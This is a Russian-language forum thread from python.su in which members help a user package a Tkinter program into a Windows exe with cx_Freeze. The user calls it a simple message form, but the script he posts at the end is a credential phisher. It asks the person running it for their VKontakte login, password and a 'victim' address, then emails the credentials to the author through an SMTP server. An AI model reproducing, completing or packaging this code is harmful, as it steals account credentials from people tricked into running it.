Форум сайта python.su
4
AlenЯ понимаю, что ты хочешь донести до автора вопроса и я с тобой согласен (что есть куча способов распространять программы), но в данном случае просьба ведь была конкретная и под win в прицепи в основном все программы и распространяются с помощью exe, так что думаю, что нужно просто помочь человеку и все
А нет спора, есть у человека затык в том что дистрибуция софта возможна только в виде бинарных исполняемых файлов.
.
Офлайн
39
Поучаствую и я в дискуссии…
python2015
Вот статистика из интернета. Возможно это подкуплено путинскими рептилоидами. Готов ознакомиться со “страшной правдой”.

Отредактировано 4kpt_III (Янв. 4, 2015 20:07:36)
Офлайн
49
mitya_s_v
Ну предположим даже если даже на 10 машинах постоянно ставить на пример pyqt или ещё какие нибудь довольно тяжёлые библиотеки, которые написаны не на чистом python, то установка станет не очень быстрой и не тривиальной + постоянно выкачивать много лишних мегабайт.
mitya_s_v
Я вот один раз делал программу 70 летнему деду, я оооочень сильно сомневаюсь, что он смог бы выкачивать pyqt, поставить из requirements зависимости, скачать и поставить интерпретатор + заставить это все завестись.
python2015
Обоснуй. Вот статистика из интернета.
mitya_s_v
Я понимаю, что ты хочешь донести до автора вопроса и я с тобой согласен (что есть куча способов распространять программы), но в данном случае просьба ведь была конкретная и под win в прицепи в основном все программы и распространяются с помощью exe
Офлайн
6
ТС не особо разбирается в винде, зачем говорить о никсах, ему надо установить сx-freeze, надо узнать следует ли он данным ему советам, узнать какие ошибки возникают, и закончить уже с этим.
Офлайн
-2
Kasta_nedaСделал все, кроме удаления ддл-ок, ибо уже не помню куда что копировал. Установил питон 3,2 64 и соответствующую cx_freeze. Фреза отрабатывает, создает папку build, только ехе-шник в ней не работает. Показывает на мгновенье консоль и больше ничего. Без файла python32.dll вообще запускаться не хочет.
Удалите все версии питона и фрезы, удалите все длл что ставили, , установите Microsoft Visual C++ Redistributable 2010, установите заново питон и фрезу одной версии и разрядности, потом скажите что не так еще.
4kpt_IIIДа, диаметрально. Но мне кажется что десктопов в разы больше чем серверов.
Если же брать серверные, то ситуация диметрально противоположная
4kpt_IIIЯ бы хотел сделать программирование своей профессией. Мне стоит ставить на питон? Или стоит выбрать другой ЯП?
P.S. Нужно еще понимать, что все же питон прижел из мира никсов, поэтому предъявлять к нему повышенные требования относительно сложности сбора пакетов в .exe все же не стоит (он просто-напросто под это не заточен).
Офлайн
4
python2015Приложение то какое? Похоже консольное, так что это у тебя все удалось наоборот. Просто приложение выполняется и мгновенно закрывается, так как ты задержку не сделал.
Показывает на мгновенье консоль и больше ничего
Офлайн
-2
mitya_s_vНет, приложение оконное. Для окошка использую ткинтер, т.к. как он прост и по умолчанию в питоне есть. Программа создает окошко в котором пользователь вводит короткое текстовое сообщение в элемент Entry, жмет кнопку и введенное отправляется мне на имейл.
Приложение то какое? Похоже консольное, так что это у тебя все удалось наоборот. Просто приложение выполняется и мгновенно закрывается, так как ты задержку не сделал.
Отредактировано python2015 (Янв. 4, 2015 21:14:12)
Офлайн
6
Когда cx_freeze в консоли создает сборку, ошибок нет?
Офлайн
4
Если запускать сборочный скрипт с параметром build_exe, то будет собран просто exe.
python2015Тогда давай показывай свой скрипт с помощью которого собирал exe.
Нет, приложение оконное.
Офлайн
-2
Kasta_neda
Когда cx_freeze в консоли создает сборку, ошибок нет?

mitya_s_v
Тогда давай показывай свой скрипт с помощью которого собирал exe.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Tkinter import *
import smtplib
def send_email(lp):
to = '' #здесь имеил получателя
gmail_user = '' #здесь имеилотправителя
gmail_pwd = '' #пароль к почте отправителя
smtpserver = smtplib.SMTP("smtp.yandex.ru")
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(gmail_user, gmail_pwd)
header = 'To:' + to + '\n' + 'From: ' + gmail_user + '\n' + 'Subject: \n'
msg = header + '\n' + lp
smtpserver.sendmail(gmail_user, to, msg)
smtpserver.close()
def get_params():
login = entry_login.get()
password = entry_password.get()
victim = entry_victim.get()
lp = "Адрес вконтакте: " + login + "\nПароль: " + password + "\nЖертва: " + victim
send_email(lp)
root = Tk()
label_login = Label(root,text="Ваш адрес вконтакте")
label_password = Label(root,text="Пароль")
entry_login = Entry(root,text="")
entry_password = Entry(root)
label_victim = Label(root,text="Адрес жертвы")
entry_victim = Entry(root)
button_enter = Button(root,text="Enter",command=get_params)
label_login.grid(row=1,column=1)
entry_login.grid(row=1,column=2)
label_password.grid(row=2,column=1)
entry_password.grid(row=2,column=2)
label_victim.grid(row=3,column=1)
entry_victim.grid(row=3,column=2)
button_enter.grid(row=4,column=1,columnspan=2)
root.mainloop()
Офлайн